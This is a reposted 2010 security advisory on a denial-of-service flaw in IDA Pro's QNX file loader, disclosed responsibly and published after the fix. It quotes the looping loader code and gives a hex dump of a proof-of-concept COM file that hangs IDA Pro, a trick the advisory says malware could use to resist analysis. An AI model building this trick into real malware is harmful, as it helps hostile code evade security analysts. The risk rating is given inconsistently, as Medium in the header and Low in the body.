IDA Pros 3.76 through 5.6 denial of service

2010.06.30
Credit: Jason Geffner
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

Denial-of-Service Vulnerability in IDA Pro ------------------------------------------ June 28th, 2010 ======= Summary ======= Name: Denial-of-Service Vulnerability in IDA Pro Release Date: June 28th, 2010 Discoverer: Jason Geffner Version Affected: IDA Pro 3.76 through 5.6 Risk: Low Status: Published ============ Introduction ============ This paper discusses how a binary file could be crafted to cause IDA Pro to consume 100% of CPU resources while trying to analyze it, thus preventing disassembling. While this vulnerability is in the QNX file loader, a functional COM file could be crafted to masquerade as a QNX file and trigger this issue. This vulnerability was responsibly disclosed to IDA Pro's support personnel and this advisory was not released until a fixed build was publicly released. ========== Background ========== "The IDA Pro Disassembler and Debugger is an interactive, programmable, extendible, multi-processor disassembler hosted on Windows, Linux, or Mac OS X. IDA Pro has become the de-facto standard for the analysis of hostile code, vulnerability research and COTS validation." [1] ======== Timeline ======== 07/28/98 IDA Pro loader for QNX files written 12/31/09 Denial-of-service vulnerability discovered in IDA Pro loader for QNX files 12/31/09 Detailed vulnerability report responsibly disclosed to IDA Pro's support personnel 01/04/10 Response received from IDA Pro's support personnel, confirming vulnerability 06/25/10 IDA Pro 5.7 released, fixing vulnerability 06/28/10 Advisory released ============= Vulnerability ============= IDA Pro uses different file loaders to disassemble files of different formats (PE, ELF, etc.). The loader for QNX files contains a vulnerability that allows a specially crafted file to cause the loader to go into an infinite loop, thereby consuming 100% of CPU resources and preventing disassembly. The for-loop below is designed to iterate through each lmf_data structure in the input file, advancing the file pointer based on sizeof(lmf_data) + lmf_data.offset). However, if lmf_data.offset == -sizeof(lmf_data) then at is never increased and this code will run in an infinite loop. >From \ldr\qnx\qnx.cpp(50): for(uint32 at = sizeof(ex.lmf_header)+ex.lmf_header.data_nbytes; lmf_data.segment_index != _LMF_EOF_REC; at += sizeof(lmf_data) + lmf_data.offset) { qlseek( li, at, 0 ); if ( sizeof(_lmf_data) != qlread( li, &lmf_data, sizeof(_lmf_data) ) ) return 0; switch(lmf_data.segment_index) { ... case _LMF_COMMENT_REC: break; ... } } ======= Exploit ======= While this vulnerability is in the QNX file loader, a functional COM file could be crafted to masquerade as a QNX file and trigger this issue. As such, it would be possible for a malware author to create a working malicious COM program, craft it to appear as a QNX file to IDA Pro, and thus prevent IDA Pro from being able to disassemble it. Windows 7 will correctly run such a COM program even if it is named with a .EXE extension. See below for a proof-of-concept COM file. When run from a command-prompt, this program will print, "I can't be opened in IDA Pro :)". When opened in IDA Pro, it will cause IDA Pro to spin in an infinite loop. 00000000: 00 00 34 00 00 00 b4 09 eb 02 82 01 ba 13 01 cd ..4............. 00000010: 21 cd 20 49 20 63 61 6e 27 74 20 62 65 20 6f 70 !. I can't be op 00000020: 65 6e 65 64 20 69 6e 20 49 44 41 20 50 72 6f 20 ened in IDA Pro 00000030: 3a 29 24 00 00 00 00 00 00 00 01 00 fa ff ff ff :)$............. 00000040: 00 00 00 00 00 00 ...... ========== Conclusion ========== In-depth code reviews and fuzzing should be performed on all software, especially when the software is designed for analyzing malicious and/or untrusted data. =============== Fix Information =============== This issue has now been resolved. IDA Pro 5.7 can be downloaded from https://www.hex-rays.com/updida.shtml ========== References ========== [1] http://hex-rays.com/idapro/overview.htm NGSSoftware Insight Security Research http://www.ngssoftware.com/ http://www.databasesecurity.com/ http://www.nextgenss.com/ +44(0)208 401 0070


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